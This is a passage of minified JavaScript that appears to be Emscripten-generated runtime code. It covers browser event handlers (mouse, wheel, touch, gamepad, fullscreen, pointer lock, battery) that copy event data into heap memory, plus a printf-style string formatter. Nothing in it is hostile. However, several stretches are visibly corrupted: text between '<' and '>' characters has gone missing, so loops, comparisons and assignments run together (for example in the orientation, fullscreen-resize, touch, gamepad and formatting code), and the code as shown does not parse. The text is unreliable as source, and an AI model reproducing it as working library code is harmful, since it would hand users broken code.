eventHandler={target:JSEvents.findEventTarget(target),allowsDeferredCalls:JSEvents.isInternetExplorer()?false:true,eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:keyEventHandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)}),getBoundingClientRectOrZeros:(function(target){return target.getBoundingClientRect?target.getBoundingClientRect():{left:0,top:0}}),fillMouseEventData:(function(eventStruct,e,target){HEAPF64[eventStruct>>3]=JSEvents.tick();HEAP32[eventStruct+8>>2]=e.screenX;HEAP32[eventStruct+12>>2]=e.screenY;HEAP32[eventStruct+16>>2]=e.clientX;HEAP32[eventStruct+20>>2]=e.clientY;HEAP32[eventStruct+24>>2]=e.ctrlKey;HEAP32[eventStruct+28>>2]=e.shiftKey;HEAP32[eventStruct+32>>2]=e.altKey;HEAP32[eventStruct+36>>2]=e.metaKey;HEAP16[eventStruct+40>>1]=e.button;HEAP16[eventStruct+42>>1]=e.buttons;HEAP32[eventStruct+44>>2]=e["movementX"]||e["mozMovementX"]||e["webkitMovementX"]||e.screenX-JSEvents.previousScreenX;HEAP32[eventStruct+48>>2]=e["movementY"]||e["mozMovementY"]||e["webkitMovementY"]||e.screenY-JSEvents.previousScreenY;if(Module["canvas"]){var rect=Module["canvas"].getBoundingClientRect();HEAP32[eventStruct+60>>2]=e.clientX-rect.left;HEAP32[eventStruct+64>>2]=e.clientY-rect.top}else{HEAP32[eventStruct+60>>2]=0;HEAP32[eventStruct+64>>2]=0}if(target){var rect=JSEvents.getBoundingClientRectOrZeros(target);HEAP32[eventStruct+52>>2]=e.clientX-rect.left;HEAP32[eventStruct+56>>2]=e.clientY-rect.top}else{HEAP32[eventStruct+52>>2]=0;HEAP32[eventStruct+56>>2]=0}if(e.type!=="wheel"&&e.type!=="mousewheel"){JSEvents.previousScreenX=e.screenX;JSEvents.previousScreenY=e.screenY}}),registerMouseEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString,targetThread){if(!JSEvents.mouseEvent)JSEvents.mouseEvent=_malloc(72);target=JSEvents.findEventTarget(target);var mouseEventHandlerFunc=(function(event){var e=event||window.event;JSEvents.fillMouseEventData(JSEvents.mouseEvent,e,target);if(Module["dynCall_iiii"](callbackfunc,eventTypeId,JSEvents.mouseEvent,userData))e.preventDefault()});var eventHandler={target:target,allowsDeferredCalls:eventTypeString!="mousemove"&&eventTypeString!="mouseenter"&&eventTypeString!="mouseleave",eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:mouseEventHandlerFunc,useCapture:useCapture};if(JSEvents.isInternetExplorer()&&eventTypeString=="mousedown")eventHandler.allowsDeferredCalls=false;JSEvents.registerOrRemoveHandler(eventHandler)}),registerWheelEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString,targetThread){if(!JSEvents.wheelEvent)JSEvents.wheelEvent=_malloc(104);target=JSEvents.findEventTarget(target);var wheelHandlerFunc=(function(event){var e=event||window.event;var wheelEvent=JSEvents.wheelEvent;JSEvents.fillMouseEventData(wheelEvent,e,target);HEAPF64[wheelEvent+72>>3]=e["deltaX"];HEAPF64[wheelEvent+80>>3]=e["deltaY"];HEAPF64[wheelEvent+88>>3]=e["deltaZ"];HEAP32[wheelEvent+96>>2]=e["deltaMode"];if(Module["dynCall_iiii"](callbackfunc,eventTypeId,wheelEvent,userData))e.preventDefault()});var mouseWheelHandlerFunc=(function(event){var e=event||window.event;JSEvents.fillMouseEventData(JSEvents.wheelEvent,e,target);HEAPF64[JSEvents.wheelEvent+72>>3]=e["wheelDeltaX"]||0;HEAPF64[JSEvents.wheelEvent+80>>3]=-(e["wheelDeltaY"]?e["wheelDeltaY"]:e["wheelDelta"]);HEAPF64[JSEvents.wheelEvent+88>>3]=0;HEAP32[JSEvents.wheelEvent+96>>2]=0;var shouldCancel=Module["dynCall_iiii"](callbackfunc,eventTypeId,JSEvents.wheelEvent,userData);if(shouldCancel){e.preventDefault()}});var eventHandler={target:target,allowsDeferredCalls:true,eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:eventTypeString=="wheel"?wheelHandlerFunc:mouseWheelHandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)}),pageScrollPos:(function(){if(window.pageXOffset>0||window.pageYOffset>0){return[window.pageXOffset,window.pageYOffset]}if(typeof document.documentElement.scrollLeft!=="undefined"||typeof document.documentElement.scrollTop!=="undefined"){return[document.documentElement.scrollLeft,document.documentElement.scrollTop]}return[document.body.scrollLeft|0,document.body.scrollTop|0]}),registerUiEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString,targetThread){if(!JSEvents.uiEvent)JSEvents.uiEvent=_malloc(36);if(eventTypeString=="scroll"&&!target){target=document}else{target=JSEvents.findEventTarget(target)}var uiEventHandlerFunc=(function(event){var e=event||window.event;if(e.target!=target){return}var scrollPos=JSEvents.pageScrollPos();var uiEvent=JSEvents.uiEvent;HEAP32[uiEvent>>2]=e.detail;HEAP32[uiEvent+4>>2]=document.body.clientWidth;HEAP32[uiEvent+8>>2]=document.body.clientHeight;HEAP32[uiEvent+12>>2]=window.innerWidth;HEAP32[uiEvent+16>>2]=window.innerHeight;HEAP32[uiEvent+20>>2]=window.outerWidth;HEAP32[uiEvent+24>>2]=window.outerHeight;HEAP32[uiEvent+28>>2]=scrollPos[0];HEAP32[uiEvent+32>>2]=scrollPos[1];if(Module["dynCall_iiii"](callbackfunc,eventTypeId,uiEvent,userData))e.preventDefault()});var eventHandler={target:target,allowsDeferredCalls:false,eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:uiEventHandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)}),getNodeNameForTarget:(function(target){if(!target)return"";if(target==window)return"#window";if(target==window.screen)return"#screen";return target&&target.nodeName?target.nodeName:""}),registerFocusEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString,targetThread){if(!JSEvents.focusEvent)JSEvents.focusEvent=_malloc(256);var focusEventHandlerFunc=(function(event){var e=event||window.event;var nodeName=JSEvents.getNodeNameForTarget(e.target);var id=e.target.id?e.target.id:"";var focusEvent=JSEvents.focusEvent;stringToUTF8(nodeName,focusEvent+0,128);stringToUTF8(id,focusEvent+128,128);if(Module["dynCall_iiii"](callbackfunc,eventTypeId,focusEvent,userData))e.preventDefault()});var eventHandler={target:JSEvents.findEventTarget(target),allowsDeferredCalls:false,eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:focusEventHandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)}),tick:(function(){if(window["performance"]&&window["performance"]["now"])return window["performance"]["now"]();else return Date.now()}),fillDeviceOrientationEventData:(function(eventStruct,e,target){HEAPF64[eventStruct>>3]=JSEvents.tick();HEAPF64[eventStruct+8>>3]=e.alpha;HEAPF64[eventStruct+16>>3]=e.beta;HEAPF64[eventStruct+24>>3]=e.gamma;HEAP32[eventStruct+32>>2]=e.absolute}),registerDeviceOrientationEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString,targetThread){if(!JSEvents.deviceOrientationEvent)JSEvents.deviceOrientationEvent=_malloc(40);var deviceOrientationEventHandlerFunc=(function(event){var e=event||window.event;JSEvents.fillDeviceOrientationEventData(JSEvents.deviceOrientationEvent,e,target);if(Module["dynCall_iiii"](callbackfunc,eventTypeId,JSEvents.deviceOrientationEvent,userData))e.preventDefault()});var eventHandler={target:JSEvents.findEventTarget(target),allowsDeferredCalls:false,eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:deviceOrientationEventHandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)}),fillDeviceMotionEventData:(function(eventStruct,e,target){HEAPF64[eventStruct>>3]=JSEvents.tick();HEAPF64[eventStruct+8>>3]=e.acceleration.x;HEAPF64[eventStruct+16>>3]=e.acceleration.y;HEAPF64[eventStruct+24>>3]=e.acceleration.z;HEAPF64[eventStruct+32>>3]=e.accelerationIncludingGravity.x;HEAPF64[eventStruct+40>>3]=e.accelerationIncludingGravity.y;HEAPF64[eventStruct+48>>3]=e.accelerationIncludingGravity.z;HEAPF64[eventStruct+56>>3]=e.rotationRate.alpha;HEAPF64[eventStruct+64>>3]=e.rotationRate.beta;HEAPF64[eventStruct+72>>3]=e.rotationRate.gamma}),registerDeviceMotionEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString,targetThread){if(!JSEvents.deviceMotionEvent)JSEvents.deviceMotionEvent=_malloc(80);var deviceMotionEventHandlerFunc=(function(event){var e=event||window.event;JSEvents.fillDeviceMotionEventData(JSEvents.deviceMotionEvent,e,target);if(Module["dynCall_iiii"](callbackfunc,eventTypeId,JSEvents.deviceMotionEvent,userData))e.preventDefault()});var eventHandler={target:JSEvents.findEventTarget(target),allowsDeferredCalls:false,eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:deviceMotionEventHandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)}),screenOrientation:(function(){if(!window.screen)return undefined;return window.screen.orientation||window.screen.mozOrientation||window.screen.webkitOrientation||window.screen.msOrientation}),fillOrientationChangeEventData:(function(eventStruct,e){var orientations=["portrait-primary","portrait-secondary","landscape-primary","landscape-secondary"];var orientations2=["portrait","portrait","landscape","landscape"];var orientationString=JSEvents.screenOrientation();var orientation=orientations.indexOf(orientationString);if(orientation==-1){orientation=orientations2.indexOf(orientationString)}HEAP32[eventStruct>>2]=1<>2]=window.orientation}),registerOrientationChangeEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString,targetThread){if(!JSEvents.orientationChangeEvent)JSEvents.orientationChangeEvent=_malloc(8);if(!target){target=window.screen}else{target=JSEvents.findEventTarget(target)}var orientationChangeEventHandlerFunc=(function(event){var e=event||window.event;var orientationChangeEvent=JSEvents.orientationChangeEvent;JSEvents.fillOrientationChangeEventData(orientationChangeEvent,e);if(Module["dynCall_iiii"](callbackfunc,eventTypeId,orientationChangeEvent,userData))e.preventDefault()});if(eventTypeString=="orientationchange"&&window.screen.mozOrientation!==undefined){eventTypeString="mozorientationchange"}var eventHandler={target:target,allowsDeferredCalls:false,eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:orientationChangeEventHandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)}),fullscreenEnabled:(function(){return document.fullscreenEnabled||document.mozFullScreenEnabled||document.webkitFullscreenEnabled||document.msFullscreenEnabled}),fillFullscreenChangeEventData:(function(eventStruct,e){var fullscreenElement=document.fullscreenElement||document.mozFullScreenElement||document.webkitFullscreenElement||document.msFullscreenElement;var isFullscreen=!!fullscreenElement;HEAP32[eventStruct>>2]=isFullscreen;HEAP32[eventStruct+4>>2]=JSEvents.fullscreenEnabled();var reportedElement=isFullscreen?fullscreenElement:JSEvents.previousFullscreenElement;var nodeName=JSEvents.getNodeNameForTarget(reportedElement);var id=reportedElement&&reportedElement.id?reportedElement.id:"";stringToUTF8(nodeName,eventStruct+8,128);stringToUTF8(id,eventStruct+136,128);HEAP32[eventStruct+264>>2]=reportedElement?reportedElement.clientWidth:0;HEAP32[eventStruct+268>>2]=reportedElement?reportedElement.clientHeight:0;HEAP32[eventStruct+272>>2]=screen.width;HEAP32[eventStruct+276>>2]=screen.height;if(isFullscreen){JSEvents.previousFullscreenElement=fullscreenElement}}),registerFullscreenChangeEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString,targetThread){if(!JSEvents.fullscreenChangeEvent)JSEvents.fullscreenChangeEvent=_malloc(280);if(!target)target=document;else target=JSEvents.findEventTarget(target);var fullscreenChangeEventhandlerFunc=(function(event){var e=event||window.event;var fullscreenChangeEvent=JSEvents.fullscreenChangeEvent;JSEvents.fillFullscreenChangeEventData(fullscreenChangeEvent,e);if(Module["dynCall_iiii"](callbackfunc,eventTypeId,fullscreenChangeEvent,userData))e.preventDefault()});var eventHandler={target:target,allowsDeferredCalls:false,eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:fullscreenChangeEventhandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)}),resizeCanvasForFullscreen:(function(target,strategy){var restoreOldStyle=__registerRestoreOldStyle(target);var cssWidth=strategy.softFullscreen?window.innerWidth:screen.width;var cssHeight=strategy.softFullscreen?window.innerHeight:screen.height;var rect=target.getBoundingClientRect();var windowedCssWidth=rect.right-rect.left;var windowedCssHeight=rect.bottom-rect.top;var canvasSize=emscripten_get_canvas_element_size_js(target.id);var windowedRttWidth=canvasSize[0];var windowedRttHeight=canvasSize[1];if(strategy.scaleMode==3){__setLetterbox(target,(cssHeight-windowedCssHeight)/2,(cssWidth-windowedCssWidth)/2);cssWidth=windowedCssWidth;cssHeight=windowedCssHeight}else if(strategy.scaleMode==2){if(cssWidth*windowedRttHeight>2]=isPointerlocked;var nodeName=JSEvents.getNodeNameForTarget(pointerLockElement);var id=pointerLockElement&&pointerLockElement.id?pointerLockElement.id:"";stringToUTF8(nodeName,eventStruct+4,128);stringToUTF8(id,eventStruct+132,128)}),registerPointerlockChangeEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString,targetThread){if(!JSEvents.pointerlockChangeEvent)JSEvents.pointerlockChangeEvent=_malloc(260);if(!target)target=document;else target=JSEvents.findEventTarget(target);var pointerlockChangeEventHandlerFunc=(function(event){var e=event||window.event;var pointerlockChangeEvent=JSEvents.pointerlockChangeEvent;JSEvents.fillPointerlockChangeEventData(pointerlockChangeEvent,e);if(Module["dynCall_iiii"](callbackfunc,eventTypeId,pointerlockChangeEvent,userData))e.preventDefault()});var eventHandler={target:target,allowsDeferredCalls:false,eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:pointerlockChangeEventHandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)}),registerPointerlockErrorEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString){if(!target)target=document;else target=JSEvents.findEventTarget(target);var pointerlockErrorEventHandlerFunc=(function(event){var e=event||window.event;if(Module["dynCall_iiii"](callbackfunc,eventTypeId,0,userData))e.preventDefault()});var eventHandler={target:target,allowsDeferredCalls:false,eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:pointerlockErrorEventHandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)}),requestPointerLock:(function(target){if(target.requestPointerLock){target.requestPointerLock()}else if(target.mozRequestPointerLock){target.mozRequestPointerLock()}else if(target.webkitRequestPointerLock){target.webkitRequestPointerLock()}else if(target.msRequestPointerLock){target.msRequestPointerLock()}else{if(document.body.requestPointerLock||document.body.mozRequestPointerLock||document.body.webkitRequestPointerLock||document.body.msRequestPointerLock){return-3}else{return-1}}return 0}),fillVisibilityChangeEventData:(function(eventStruct,e){var visibilityStates=["hidden","visible","prerender","unloaded"];var visibilityState=visibilityStates.indexOf(document.visibilityState);HEAP32[eventStruct>>2]=document.hidden;HEAP32[eventStruct+4>>2]=visibilityState}),registerVisibilityChangeEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString,targetThread){if(!JSEvents.visibilityChangeEvent)JSEvents.visibilityChangeEvent=_malloc(8);if(!target)target=document;else target=JSEvents.findEventTarget(target);var visibilityChangeEventHandlerFunc=(function(event){var e=event||window.event;var visibilityChangeEvent=JSEvents.visibilityChangeEvent;JSEvents.fillVisibilityChangeEventData(visibilityChangeEvent,e);if(Module["dynCall_iiii"](callbackfunc,eventTypeId,visibilityChangeEvent,userData))e.preventDefault()});var eventHandler={target:target,allowsDeferredCalls:false,eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:visibilityChangeEventHandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)}),registerTouchEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString,targetThread){if(!JSEvents.touchEvent)JSEvents.touchEvent=_malloc(1684);target=JSEvents.findEventTarget(target);var touchEventHandlerFunc=(function(event){var e=event||window.event;var touches={};for(var i=0;i>2]=e.ctrlKey;HEAP32[ptr+8>>2]=e.shiftKey;HEAP32[ptr+12>>2]=e.altKey;HEAP32[ptr+16>>2]=e.metaKey;ptr+=20;var canvasRect=Module["canvas"]?Module["canvas"].getBoundingClientRect():undefined;var targetRect=JSEvents.getBoundingClientRectOrZeros(target);var numTouches=0;for(var i in touches){var t=touches[i];HEAP32[ptr>>2]=t.identifier;HEAP32[ptr+4>>2]=t.screenX;HEAP32[ptr+8>>2]=t.screenY;HEAP32[ptr+12>>2]=t.clientX;HEAP32[ptr+16>>2]=t.clientY;HEAP32[ptr+20>>2]=t.pageX;HEAP32[ptr+24>>2]=t.pageY;HEAP32[ptr+28>>2]=t.changed;HEAP32[ptr+32>>2]=t.onTarget;if(canvasRect){HEAP32[ptr+44>>2]=t.clientX-canvasRect.left;HEAP32[ptr+48>>2]=t.clientY-canvasRect.top}else{HEAP32[ptr+44>>2]=0;HEAP32[ptr+48>>2]=0}HEAP32[ptr+36>>2]=t.clientX-targetRect.left;HEAP32[ptr+40>>2]=t.clientY-targetRect.top;ptr+=52;if(++numTouches>=32){break}}HEAP32[touchEvent>>2]=numTouches;if(Module["dynCall_iiii"](callbackfunc,eventTypeId,touchEvent,userData))e.preventDefault()});var eventHandler={target:target,allowsDeferredCalls:eventTypeString=="touchstart"||eventTypeString=="touchend",eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:touchEventHandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)}),fillGamepadEventData:(function(eventStruct,e){HEAPF64[eventStruct>>3]=e.timestamp;for(var i=0;i>3]=e.axes[i]}for(var i=0;i>3]=e.buttons[i].value}else{HEAPF64[eventStruct+i*8+528>>3]=e.buttons[i]}}for(var i=0;i>2]=e.buttons[i].pressed}else{HEAP32[eventStruct+i*4+1040>>2]=e.buttons[i]==1}}HEAP32[eventStruct+1296>>2]=e.connected;HEAP32[eventStruct+1300>>2]=e.index;HEAP32[eventStruct+8>>2]=e.axes.length;HEAP32[eventStruct+12>>2]=e.buttons.length;stringToUTF8(e.id,eventStruct+1304,64);stringToUTF8(e.mapping,eventStruct+1368,64)}),registerGamepadEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString,targetThread){if(!JSEvents.gamepadEvent)JSEvents.gamepadEvent=_malloc(1432);var gamepadEventHandlerFunc=(function(event){var e=event||window.event;var gamepadEvent=JSEvents.gamepadEvent;JSEvents.fillGamepadEventData(gamepadEvent,e.gamepad);if(Module["dynCall_iiii"](callbackfunc,eventTypeId,gamepadEvent,userData))e.preventDefault()});var eventHandler={target:JSEvents.findEventTarget(target),allowsDeferredCalls:true,eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:gamepadEventHandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)}),registerBeforeUnloadEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString){var beforeUnloadEventHandlerFunc=(function(event){var e=event||window.event;var confirmationMessage=Module["dynCall_iiii"](callbackfunc,eventTypeId,0,userData);if(confirmationMessage){confirmationMessage=Pointer_stringify(confirmationMessage)}if(confirmationMessage){e.preventDefault();e.returnValue=confirmationMessage;return confirmationMessage}});var eventHandler={target:JSEvents.findEventTarget(target),allowsDeferredCalls:false,eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:beforeUnloadEventHandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)}),battery:(function(){return navigator.battery||navigator.mozBattery||navigator.webkitBattery}),fillBatteryEventData:(function(eventStruct,e){HEAPF64[eventStruct>>3]=e.chargingTime;HEAPF64[eventStruct+8>>3]=e.dischargingTime;HEAPF64[eventStruct+16>>3]=e.level;HEAP32[eventStruct+24>>2]=e.charging}),registerBatteryEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString,targetThread){if(!JSEvents.batteryEvent)JSEvents.batteryEvent=_malloc(32);var batteryEventHandlerFunc=(function(event){var e=event||window.event;var batteryEvent=JSEvents.batteryEvent;JSEvents.fillBatteryEventData(batteryEvent,JSEvents.battery());if(Module["dynCall_iiii"](callbackfunc,eventTypeId,batteryEvent,userData))e.preventDefault()});var eventHandler={target:JSEvents.findEventTarget(target),allowsDeferredCalls:false,eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:batteryEventHandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)}),registerWebGlEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString,targetThread){if(!target)target=Module["canvas"];var webGlEventHandlerFunc=(function(event){var e=event||window.event;if(Module["dynCall_iiii"](callbackfunc,eventTypeId,0,userData))e.preventDefault()});var eventHandler={target:JSEvents.findEventTarget(target),allowsDeferredCalls:false,eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:webGlEventHandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)})};var __currentFullscreenStrategy={};function _emscripten_exit_fullscreen(){if(typeof JSEvents.fullscreenEnabled()==="undefined")return-1;JSEvents.removeDeferredCalls(JSEvents.requestFullscreen);if(document.exitFullscreen){document.exitFullscreen()}else if(document.msExitFullscreen){document.msExitFullscreen()}else if(document.mozCancelFullScreen){document.mozCancelFullScreen()}else if(document.webkitExitFullscreen){document.webkitExitFullscreen()}else{return-1}if(__currentFullscreenStrategy.canvasResizedCallback){Module["dynCall_iiii"](__currentFullscreenStrategy.canvasResizedCallback,37,0,__currentFullscreenStrategy.canvasResizedCallbackUserData)}return 0}function _emscripten_exit_pointerlock(){JSEvents.removeDeferredCalls(JSEvents.requestPointerLock);if(document.exitPointerLock){document.exitPointerLock()}else if(document.msExitPointerLock){document.msExitPointerLock()}else if(document.mozExitPointerLock){document.mozExitPointerLock()}else if(document.webkitExitPointerLock){document.webkitExitPointerLock()}else{return-1}return 0}function _emscripten_get_fullscreen_status(fullscreenStatus){if(typeof JSEvents.fullscreenEnabled()==="undefined")return-1;JSEvents.fillFullscreenChangeEventData(fullscreenStatus);return 0}function __emscripten_sample_gamepad_data(){if(!JSEvents.numGamepadsConnected)return;if(Browser.mainLoop.currentFrameNumber!==JSEvents.lastGamepadStateFrame||!Browser.mainLoop.currentFrameNumber){JSEvents.lastGamepadState=navigator.getGamepads?navigator.getGamepads():navigator.webkitGetGamepads?navigator.webkitGetGamepads:null;JSEvents.lastGamepadStateFrame=Browser.mainLoop.currentFrameNumber}}function _emscripten_get_gamepad_status(index,gamepadState){__emscripten_sample_gamepad_data();if(!JSEvents.lastGamepadState)return-1;if(index<0||index>=JSEvents.lastGamepadState.length)return-5;if(!JSEvents.lastGamepadState[index])return-7;JSEvents.fillGamepadEventData(gamepadState,JSEvents.lastGamepadState[index]);return 0}function _emscripten_get_main_loop_timing(mode,value){if(mode)HEAP32[mode>>2]=Browser.mainLoop.timingMode;if(value)HEAP32[value>>2]=Browser.mainLoop.timingValue}function _emscripten_get_num_gamepads(){if(!JSEvents.numGamepadsConnected)return 0;__emscripten_sample_gamepad_data();if(!JSEvents.lastGamepadState)return-1;return JSEvents.lastGamepadState.length}function _emscripten_has_threading_support(){return 0}function _emscripten_html5_remove_all_event_listeners(){JSEvents.removeAllEventListeners()}function _emscripten_is_webgl_context_lost(target){if(!Module.ctx)return true;return Module.ctx.isContextLost()}function __reallyNegative(x){return x<0||x===0&&1/x===-Infinity}function __formatString(format,varargs){assert((varargs&3)===0);var textIndex=format;var argIndex=varargs;function prepVararg(ptr,type){if(type==="double"||type==="i64"){if(ptr&7){assert((ptr&7)===4);ptr+=4}}else{assert((ptr&3)===0)}return ptr}function getNextArg(type){var ret;argIndex=prepVararg(argIndex,type);if(type==="double"){ret=HEAPF64[argIndex>>3];argIndex+=8}else if(type=="i64"){ret=[HEAP32[argIndex>>2],HEAP32[argIndex+4>>2]];argIndex+=8}else{assert((argIndex&3)===0);type="i32";ret=HEAP32[argIndex>>2];argIndex+=4}return ret}var ret=[];var curr,next,currArg;while(1){var startTextIndex=textIndex;curr=HEAP8[textIndex>>0];if(curr===0)break;next=HEAP8[textIndex+1>>0];if(curr==37){var flagAlwaysSigned=false;var flagLeftAlign=false;var flagAlternative=false;var flagZeroPad=false;var flagPadSign=false;flagsLoop:while(1){switch(next){case 43:flagAlwaysSigned=true;break;case 45:flagLeftAlign=true;break;case 35:flagAlternative=true;break;case 48:if(flagZeroPad){break flagsLoop}else{flagZeroPad=true;break};case 32:flagPadSign=true;break;default:break flagsLoop}textIndex++;next=HEAP8[textIndex+1>>0]}var width=0;if(next==42){width=getNextArg("i32");textIndex++;next=HEAP8[textIndex+1>>0]}else{while(next>=48&&next<=57){width=width*10+(next-48);textIndex++;next=HEAP8[textIndex+1>>0]}}var precisionSet=false,precision=-1;if(next==46){precision=0;precisionSet=true;textIndex++;next=HEAP8[textIndex+1>>0];if(next==42){precision=getNextArg("i32");textIndex++}else{while(1){var precisionChr=HEAP8[textIndex+1>>0];if(precisionChr<48||precisionChr>57)break;precision=precision*10+(precisionChr-48);textIndex++}}next=HEAP8[textIndex+1>>0]}if(precision<0){precision=6;precisionSet=false}var argSize;switch(String.fromCharCode(next)){case"h":var nextNext=HEAP8[textIndex+2>>0];if(nextNext==104){textIndex++;argSize=1}else{argSize=2}break;case"l":var nextNext=HEAP8[textIndex+2>>0];if(nextNext==108){textIndex++;argSize=8}else{argSize=4}break;case"L":case"q":case"j":argSize=8;break;case"z":case"t":case"I":argSize=4;break;default:argSize=null}if(argSize)textIndex++;next=HEAP8[textIndex+1>>0];switch(String.fromCharCode(next)){case"d":case"i":case"u":case"o":case"x":case"X":case"p":{var signed=next==100||next==105;argSize=argSize||4;currArg=getNextArg("i"+argSize*8);var origArg=currArg;var argText;if(argSize==8){currArg=makeBigInt(currArg[0],currArg[1],next==117)}if(argSize<=4){var limit=Math.pow(256,argSize)-1;currArg=(signed?reSign:unSign)(currArg&limit,argSize*8)}var currAbsArg=Math.abs(currArg);var prefix="";if(next==100||next==105){if(argSize==8&&typeof i64Math==="object")argText=i64Math.stringify(origArg[0],origArg[1],null);else argText=reSign(currArg,8*argSize,1).toString(10)}else if(next==117){if(argSize==8&&typeof i64Math==="object")argText=i64Math.stringify(origArg[0],origArg[1],true);else argText=unSign(currArg,8*argSize,1).toString(10);currArg=Math.abs(currArg)}else if(next==111){argText=(flagAlternative?"0":"")+currAbsArg.toString(8)}else if(next==120||next==88){prefix=flagAlternative&&currArg!=0?"0x":"";if(argSize==8&&typeof i64Math==="object"){if(origArg[1]){argText=(origArg[1]>>>0).toString(16);var lower=(origArg[0]>>>0).toString(16);while(lower.length<8)lower="0"+lower;argText+=lower}else{argText=(origArg[0]>>>0).toString(16)}}else if(currArg<0){currArg=-currArg;argText=(currAbsArg-1).toString(16);var buffer=[];for(var i=0;i=0){if(flagAlwaysSigned){prefix="+"+prefix}else if(flagPadSign){prefix=" "+prefix}}if(argText.charAt(0)=="-"){prefix="-"+prefix;argText=argText.substr(1)}while(prefix.length+argText.lengthexponent&&exponent>=-4){next=(next==103?"f":"F").charCodeAt(0);precision-=exponent+1}else{next=(next==103?"e":"E").charCodeAt(0);precision--}effectivePrecision=Math.min(precision,20)}if(next==101||next==69){argText=currArg.toExponential(effectivePrecision);if(/[eE][-+]\d$/.test(argText)){argText=argText.slice(0,-1)+"0"+argText.slice(-1)}}else if(next==102||next==70){argText=currArg.toFixed(effectivePrecision);if(currArg===0&&__reallyNegative(currArg)){argText="-"+argText}}var parts=argText.split("e");if(isGeneral&&!flagAlternative){while(parts[0].length>1&&parts[0].indexOf(".")!=-1&&(parts[0].slice(-1)=="0"||parts[0].slice(-1)==".")){parts[0]=parts[0].slice(0,-1)}}else{if(flagAlternative&&argText.indexOf(".")==-1)parts[0]+=".";while(precision>effectivePrecision++)parts[0]+="0"}argText=parts[0]+(parts.length>1?"e"+parts[1]:"");if(next==69)argText=argText.toUpperCase();if(currArg>=0){if(flagAlwaysSigned){argText="+"+argText}else if(flagPadSign){argText=" "+argText}}}while(argText.length>0])}}else{ret=ret.concat(intArrayFromString("(null)".substr(0,argLength),true))}if(flagLeftAlign){while(argLength0){ret.push(32)}if(!flagLeftAlign)ret.push(getNextArg("i8"));break};case"n":{var ptr=getNextArg("i32*");HEAP32[ptr>>2]=ret.length;break};case"%":{ret.push(curr);break};default:{for(var i=startTextIndex;i>0])}}}textIndex+=2}else{ret.push(curr);textIndex+=1}}return ret}function __emscripten_traverse_stack(args){if(!args||!args.callee||!args.callee.name){return[null,"",""]}var funstr=args.callee.toString();var funcname=args.callee.name;var str="(";var first=true;for(var i in args){var a=args[i];if(!first){str+=", "}first=false;if(typeof a==="number"||typeof a==="string"){str+=a}else{str+="("+typeof a+")"}}str+=")";var caller=args.callee.caller;args=caller?caller.arguments:[];if(first)str="";return[args,funcname,str]}function _emscripten_get_callstack_js(flags){var callstack=jsStackTrace();var iThisFunc=callstack.lastIndexOf("_emscripten_log");var iThisFunc2=callstack.lastIndexOf("_emscripten_get_callstack");var iNextLine=callstack.indexOf("\n",Math.max(iThisFunc,iThisFunc2))+1;callstack=callstack.slice(iNextLine);if(flags&8&&typeof emscripten_source_map==="undefined"){warnOnce('Source map information is not available, emscripten_log with EM_LOG_C_STACK will be ignored. Build with "--pre-js $EMSCRIPTEN/src/emscripten-source-map.min.js" linker flag to add source map loading to code.');flags^=8;flags|=16}var 